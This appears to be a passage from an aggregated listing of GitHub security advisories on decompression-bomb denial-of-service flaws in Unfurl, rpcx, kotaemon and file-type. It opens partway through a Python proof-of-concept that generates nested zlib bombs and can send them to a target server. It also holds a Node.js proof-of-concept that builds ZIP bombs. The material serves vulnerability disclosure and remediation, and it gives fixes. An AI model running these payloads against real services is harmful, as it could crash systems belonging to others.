instance URL\u0027)\n    parser.add_argument(\u0027--size\u0027, type=int, default=100,\n                        help=\u0027Target decompressed size in MB\u0027)\n    parser.add_argument(\u0027--nested\u0027, type=int, default=0,\n                        help=\u0027Nesting levels for nested bomb (0 = simple bomb)\u0027)\n    parser.add_argument(\u0027--test\u0027, action=\u0027store_true\u0027,\n                        help=\u0027Actually send the bomb (DANGEROUS)\u0027)\n    parser.add_argument(\u0027--generate-only\u0027, action=\u0027store_true\u0027,\n                        help=\u0027Only generate payload, do not send\u0027)\n    parser.add_argument(\u0027--output\u0027, help=\u0027Save payload to file\u0027)\n    args = parser.parse_args()\n\n    print(f\"\"\"\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551           UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT          \u2551\n\u2560\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563\n\u2551  Target:        {args.target:\u003c45} \u2551\n\u2551  Expanded Size: {args.size:\u003c45} MB \u2551\n\u2551  Nested Levels: {args.nested:\u003c45} \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n\"\"\")\n\n    # Generate the bomb\n    if args.nested \u003e 0:\n        print(f\"\\n[!] Creating NESTED bomb - theoretical size could be enormous!\")\n        print(f\"    Be very careful with nested levels \u003e 2\")\n        if args.nested \u003e 3:\n            print(f\"[!] {args.nested} levels could produce terabytes of data!\")\n            confirm = input(\"    Continue? (yes/no): \")\n            if confirm.lower() != \u0027yes\u0027:\n                sys.exit(0)\n        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)\n    else:\n        compressed = create_compression_bomb(args.size)\n\n    # Encode for URL\n    b64_payload = encode_for_unfurl(compressed)\n    malicious_url = create_malicious_url(b64_payload)\n\n    print(f\"\\n[*] Payload Statistics:\")\n    print(f\"    Compressed size: {len(compressed):,} bytes\")\n    print(f\"    Base64 size: {len(b64_payload):,} bytes\")\n    print(f\"    URL length: {len(malicious_url):,} bytes\")\n\n    # Save payload if requested\n    if args.output:\n        with open(args.output, \u0027w\u0027) as f:\n            f.write(malicious_url)\n        print(f\"\\n[+] Payload saved to: {args.output}\")\n\n    # Display truncated payload\n    print(f\"\\n[*] Malicious URL (truncated):\")\n    print(f\"    {malicious_url[:100]}...\")\n    print(f\"    (Full URL is {len(malicious_url):,} characters)\")\n\n    # Save full payload for reference\n    script_dir = os.path.dirname(os.path.abspath(__file__))\n    payload_path = os.path.join(script_dir, \u0027bomb_payload.txt\u0027)\n    with open(payload_path, \u0027w\u0027) as f:\n        f.write(malicious_url)\n    print(f\"\\n[+] Full payload saved to: {payload_path}\")\n\n    # Verify the bomb works locally\n    print(f\"\\n[*] Verifying bomb locally (limited test)...\")\n    try:\n        # Only decompress a small portion to verify it\u0027s valid\n        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max\n        print(f\"    \u2705 Bomb is valid - decompresses to zeros\")\n    except Exception as e:\n        print(f\"    \u274c Error: {e}\")\n        sys.exit(1)\n\n    if args.generate_only:\n        print(\"\\n[*] Generate-only mode. Not sending payload.\")\n        sys.exit(0)\n\n    if not args.test:\n        print(f\"\"\"\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551                      SAFETY CHECK                             \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n\nTo actually test this vulnerability, run with --test flag.\n\nManual testing:\n1. Copy the payload URL from {payload_path}\n2. Submit it to the target Unfurl instance\n3. Monitor server memory usage\n\nExpected behavior if vulnerable:\n- Server memory usage spikes dramatically\n- Request hangs or times out\n- Server may crash or become unresponsive\n\nMitigation check:\nThe vulnerability is FIXED if zlib.decompress() is called with\na max_length parameter, e.g.:\n    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit\n\"\"\")\n        sys.exit(0)\n\n    # Actually test (dangerous!)\n    print(f\"\\n[!] SENDING BOMB TO {args.target}\")\n    print(f\"[!] This may crash the target service!\")\n    confirm = input(\"    Type \u0027CONFIRM\u0027 to proceed: \")\n\n    if confirm != \u0027CONFIRM\u0027:\n        print(\"    Aborted.\")\n        sys.exit(0)\n\n    print(f\"\\n[*] Submitting payload...\")\n    result = test_vulnerability(args.target, malicious_url, timeout=60.0)\n\n    print(f\"\\n[*] Results:\")\n    print(f\"    Timeout: {result[\u0027timeout\u0027]}\")\n    print(f\"    Response time: {result[\u0027response_time\u0027]:.2f}s\")\n    print(f\"    Error: {result[\u0027error\u0027]}\")\n    print(f\"    Memory exhaustion likely: {result[\u0027memory_exhaustion_likely\u0027]}\")\n\n    if result[\u0027memory_exhaustion_likely\u0027]:\n        print(f\"\"\"\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551                  VULNERABILITY CONFIRMED                      \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n\nThe target appears vulnerable to decompression bomb attacks.\n\nEvidence:\n- {result[\u0027error\u0027] or \u0027Abnormal response observed\u0027}\n\nRecommendation:\nAdd size limits to zlib.decompress() calls:\n\n    # Before (vulnerable):\n    inflated_bytes = zlib.decompress(decoded)\n\n    # After (fixed):\n    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB\n    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)\n\nOr use streaming decompression with size checks:\n\n    decompressor = zlib.decompressobj()\n    chunks = []\n    total_size = 0\n    for chunk in iter(lambda: compressed_data.read(4096), b\u0027\u0027):\n        decompressed = decompressor.decompress(chunk)\n        total_size += len(decompressed)\n        if total_size \u003e MAX_SIZE:\n            raise ValueError(\"Decompressed data too large\")\n        chunks.append(decompressed)\n\"\"\")\n    else:\n        print(\"\\n[*] Target may not be vulnerable or attack was mitigated.\")\n\n\nif __name__ == \u0027__main__\u0027:\n    main()\n```\n\n### Impact\nA remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).",
  "id": "GHSA-h5qv-qjv4-pc5m",
  "modified": "2026-04-10T17:18:36Z",
  "published": "2026-01-29T15:31:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/obsidianforensics/unfurl/security/advisories/GHSA-h5qv-qjv4-pc5m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40036"
    },
    {
      "type": "WEB",
      "url": "https://github.com/RyanDFIR/unfurl/pull/243"
    },
    {
      "type": "WEB",
      "url": "https://github.com/RyanDFIR/unfurl/commit/7cc711a65b106742a21080b755f81c17b5725aa8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/RyanDFIR/unfurl/releases/tag/v2026.04"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/obsidianforensics/unfurl"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/dfir-unfurl-denial-of-service-via-unbounded-zlib-decompression"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Unfurl\u0027s unbounded zlib decompression allows decompression bomb DoS"
}

GHSA-HGRM-22X6-R8C8

Vulnerability from github – Published: 2026-07-08 21:30 – Updated: 2026-07-08 21:30
VLAI
Details

rpcx through 1.9.3, fixed in commit 047aec1, contains a denial-of-service vulnerability in protocol.Message.Decode (protocol/message.go). When a message has the compression flag set, the payload is gzip-decompressed via util.Unzip with no limit on the decompressed output size. The only built-in size guard, protocol.MaxMessageLength, is checked against the compressed on-the-wire frame length, not the decompressed size, so it provides no protection. Because decoding (and decompression) occurs in readRequest before authentication, a single unauthenticated connection can send a small (under 2 MB) gzip-compressed message that expands to gigabytes of heap allocation, leading to out-of-memory conditions and service unavailability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-59803"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-08T20:16:55Z",
    "severity": "HIGH"
  },
  "details": "rpcx through 1.9.3, fixed in commit 047aec1, contains a denial-of-service vulnerability in protocol.Message.Decode (protocol/message.go). When a message has the compression flag set, the payload is gzip-decompressed via util.Unzip with no limit on the decompressed output size. The only built-in size guard, protocol.MaxMessageLength, is checked against the compressed on-the-wire frame length, not the decompressed size, so it provides no protection. Because decoding (and decompression) occurs in readRequest before authentication, a single unauthenticated connection can send a small (under 2 MB) gzip-compressed message that expands to gigabytes of heap allocation, leading to out-of-memory conditions and service unavailability.",
  "id": "GHSA-hgrm-22x6-r8c8",
  "modified": "2026-07-08T21:30:29Z",
  "published": "2026-07-08T21:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59803"
    },
    {
      "type": "WEB",
      "url": "https://github.com/smallnest/rpcx/issues/942"
    },
    {
      "type": "WEB",
      "url": "https://github.com/smallnest/rpcx/pull/943"
    },
    {
      "type": "WEB",
      "url": "https://github.com/smallnest/rpcx/commit/047aec18efa7d037105e2b72c36dd2ae05e1acc6"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/rpcx-denial-of-service-via-gzip-decompression-bomb-in-wire-protocol"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-J3H2-559W-J4X9

Vulnerability from github – Published: 2025-11-24 21:30 – Updated: 2025-11-24 21:31
VLAI
Details

An issue was discovered in Cinnamon kotaemon 0.11.0. The _may_extract_zip function in the \libs\ktem\ktem\index\file\ui.py file does not check the contents of uploaded ZIP files. Although the contents are extracted into a temporary folder that is cleared before each extraction, successfully uploading a ZIP bomb could still cause the server to consume excessive resources during decompression. Moreover, if no further files are uploaded afterward, the extracted data could occupy disk space and potentially render the system unavailable. Anyone with permission to upload files can carry out this attack.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-63914"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-24T20:15:50Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in Cinnamon kotaemon 0.11.0. The _may_extract_zip function in the \\libs\\ktem\\ktem\\index\\file\\ui.py file does not check the contents of uploaded ZIP files. Although the contents are extracted into a temporary folder that is cleared before each extraction, successfully uploading a ZIP bomb could still cause the server to consume excessive resources during decompression. Moreover, if no further files are uploaded afterward, the extracted data could occupy disk space and potentially render the system unavailable. Anyone with permission to upload files can carry out this attack.",
  "id": "GHSA-j3h2-559w-j4x9",
  "modified": "2025-11-24T21:31:00Z",
  "published": "2025-11-24T21:30:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-63914"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Cinnamon/kotaemon"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WxDou/CVE-2025-63914"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J47W-4G3G-C36V

Vulnerability from github – Published: 2026-03-13 20:56 – Updated: 2026-03-16 21:59
VLAI
Summary
file-type: ZIP Decompression Bomb DoS via [Content_Types].xml entry
Details

Summary

A crafted ZIP file can trigger excessive memory growth during type detection in file-type when using fileTypeFromBuffer(), fileTypeFromBlob(), or fileTypeFromFile().

In affected versions, the ZIP inflate output limit is enforced for stream-based detection, but not for known-size inputs. As a result, a small compressed ZIP can cause file-type to inflate and process a much larger payload while probing ZIP-based formats such as OOXML. In testing on file-type 21.3.1, a ZIP of about 255 KB caused about 257 MB of RSS growth during fileTypeFromBuffer().

This is an availability issue. Applications that use these APIs on untrusted uploads can be forced to consume large amounts of memory and may become slow or crash.

Root Cause

The ZIP detection logic applied different limits depending on whether the tokenizer had a known file size.

For stream inputs, ZIP probing was bounded by maximumZipEntrySizeInBytes (1 MiB). For known-size inputs such as buffers, blobs, and files, the code instead used Number.MAX_SAFE_INTEGER in two relevant places:

const maximumContentTypesEntrySize = hasUnknownFileSize(tokenizer)
    ? maximumZipEntrySizeInBytes
    : Number.MAX_SAFE_INTEGER;

and:

const maximumLength = hasUnknownFileSize(this.tokenizer)
    ? maximumZipEntrySizeInBytes
    : Number.MAX_SAFE_INTEGER;

Together, these checks allowed a crafted ZIP to bypass the intended inflate limit for known-size APIs and force large decompression during detection of entries such as [Content_Types].xml.

Proof of Concept

import {fileTypeFromBuffer} from 'file-type';
import archiver from 'archiver';
import {Writable} from 'node:stream';

async function createZipBomb(sizeInMegabytes) {
    return new Promise((resolve, reject) => {
        const chunks = [];
        const writable = new Writable({
            write(chunk, encoding, callback) {
                chunks.push(chunk);
                callback();
            },
        });

        const archive = archiver('zip', {zlib: {level: 9}});
        archive.pipe(writable);
        writable.on('finish', () => {
            resolve(Buffer.concat(chunks));
        });
        archive.on('error', reject);

        const xmlPrefix = '<?xml version="1.0"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">';
        const padding = Buffer.alloc(sizeInMegabytes * 1024 * 1024 - xmlPrefix.length, 0x20);
        archive.append(Buffer.concat([Buffer.from(xmlPrefix), padding]), {name: '[Content_Types].xml'});
        archive.finalize();
    });
}

const zip = await createZipBomb(256);
console.log('ZIP size (KB):', (zip.length / 1024).toFixed(0));

const before = process.memoryUsage().rss;
await fileTypeFromBuffer(zip);
const after = process.memoryUsage().rss;

console.log('RSS growth (MB):', ((after - before) / 1024 / 1024).toFixed(0));

Observed on file-type 21.3.1: - ZIP size: about 255 KB - RSS growth during detection: about 257 MB

Affected APIs

Affected: - fileTypeFromBuffer() - fileTypeFromBlob() - fileTypeFromFile()

Not affected: - fileTypeFromStream(), which already enforced the ZIP inflate limit for unknown-size inputs

Impact

Applications that inspect untrusted uploads with fileTypeFromBuffer(), fileTypeFromBlob(), or fileTypeFromFile() can be forced to consume excessive memory during ZIP-based type detection. This can degrade service or lead to process termination in memory-constrained environments.

Cause

The issue was introduced in 399b0f1

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 21.3.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "file-type"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "20.0.0"
            },
            {
              "fixed": "21.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32630"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T20:56:05Z",
    "nvd_published_at": "2026-03-16T14:19:40Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA crafted ZIP file can trigger excessive memory growth during type detection in `file-type` when using `fileTypeFromBuffer()`, `fileTypeFromBlob()`, or `fileTypeFromFile()`.\n\nIn affected versions, the ZIP inflate output limit is enforced for stream-based detection, but not for known-size inputs. As a result, a small compressed ZIP can cause `file-type` to inflate and process a much larger payload while probing ZIP-based formats such as OOXML. In testing on `file-type` `21.3.1`, a ZIP of about `255 KB` caused about `257 MB` of RSS growth during `fileTypeFromBuffer()`.\n\nThis is an availability issue. Applications that use these APIs on untrusted uploads can be forced to consume large amounts of memory and may become slow or crash.\n\n## Root Cause\n\nThe ZIP detection logic applied different limits depending on whether the tokenizer had a known file size.\n\nFor stream inputs, ZIP probing was bounded by `maximumZipEntrySizeInBytes` (`1 MiB`). For known-size inputs such as buffers, blobs, and files, the code instead used `Number.MAX_SAFE_INTEGER` in two relevant places:\n\n```js\nconst maximumContentTypesEntrySize = hasUnknownFileSize(tokenizer)\n\t? maximumZipEntrySizeInBytes\n\t: Number.MAX_SAFE_INTEGER;\n```\n\nand:\n\n```js\nconst maximumLength = hasUnknownFileSize(this.tokenizer)\n\t? maximumZipEntrySizeInBytes\n\t: Number.MAX_SAFE_INTEGER;\n```\n\nTogether, these checks allowed a crafted ZIP to bypass the intended inflate limit for known-size APIs and force large decompression during detection of entries such as `[Content_Types].xml`.\n\n## Proof of Concept\n\n```js\nimport {fileTypeFromBuffer} from \u0027file-type\u0027;\nimport archiver from \u0027archiver\u0027;\nimport {Writable} from \u0027node:stream\u0027;\n\nasync function createZipBomb(sizeInMegabytes) {\n\treturn new Promise((resolve, reject) =\u003e {\n\t\tconst chunks = [];\n\t\tconst writable = new Writable({\n\t\t\twrite(chunk, encoding, callback) {\n\t\t\t\tchunks.push(chunk);\n\t\t\t\tcallback();\n\t\t\t},\n\t\t});\n\n\t\tconst archive = archiver(\u0027zip\u0027, {zlib: {level: 9}});\n\t\tarchive.pipe(writable);\n\t\twritable.on(\u0027finish\u0027, () =\u003e {\n\t\t\tresolve(Buffer.concat(chunks));\n\t\t});\n\t\tarchive.on(\u0027error\u0027, reject);\n\n\t\tconst xmlPrefix = \u0027\u003c?xml version=\"1.0\"?\u003e\u003cTypes xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\"\u003e\u0027;\n\t\tconst padding = Buffer.alloc(sizeInMegabytes * 1024 * 1024 - xmlPrefix.length, 0x20);\n\t\tarchive.append(Buffer.concat([Buffer.from(xmlPrefix), padding]), {name: \u0027[Content_Types].xml\u0027});\n\t\tarchive.finalize();\n\t});\n}\n\nconst zip = await createZipBomb(256);\nconsole.log(\u0027ZIP size (KB):\u0027, (zip.length / 1024).toFixed(0));\n\nconst before = process.memoryUsage().rss;\nawait fileTypeFromBuffer(zip);\nconst after = process.memoryUsage().rss;\n\nconsole.log(\u0027RSS growth (MB):\u0027, ((after - before) / 1024 / 1024).toFixed(0));\n```\n\nObserved on `file-type` `21.3.1`:\n- ZIP size: about `255 KB`\n- RSS growth during detection: about `257 MB`\n\n## Affected APIs\n\nAffected:\n- `fileTypeFromBuffer()`\n- `fileTypeFromBlob()`\n- `fileTypeFromFile()`\n\nNot affected:\n- `fileTypeFromStream()`, which already enforced the ZIP inflate limit for unknown-size inputs\n\n## Impact\n\nApplications that inspect untrusted uploads with `fileTypeFromBuffer()`, `fileTypeFromBlob()`, or `fileTypeFromFile()` can be forced to consume excessive memory during ZIP-based type detection. This can degrade service or lead to process termination in memory-constrained environments.\n\n## Cause\n\nThe issue was introduced in 399b0f1",
  "id": "GHSA-j47w-4g3g-c36v",
  "modified": "2026-03-16T21:59:48Z",
  "published": "2026-03-13T20:56:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sindresorhus/file-type/security/advisories/GHSA-j47w-4g3g-c36v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32630"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sindresorhus/file-type/commit/399b0f156063f5aeb1c124a7fd61028f3ea7c124"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sindresorhus/file-type/commit/a155cd71323279de173c54e8c530d300d3854fdd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sindresorhus/file-type"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sindresorhus/file-type/releases/tag/v21.3.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "file-type: ZIP Decompression Bomb DoS via [Content_Types].xml entry"
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.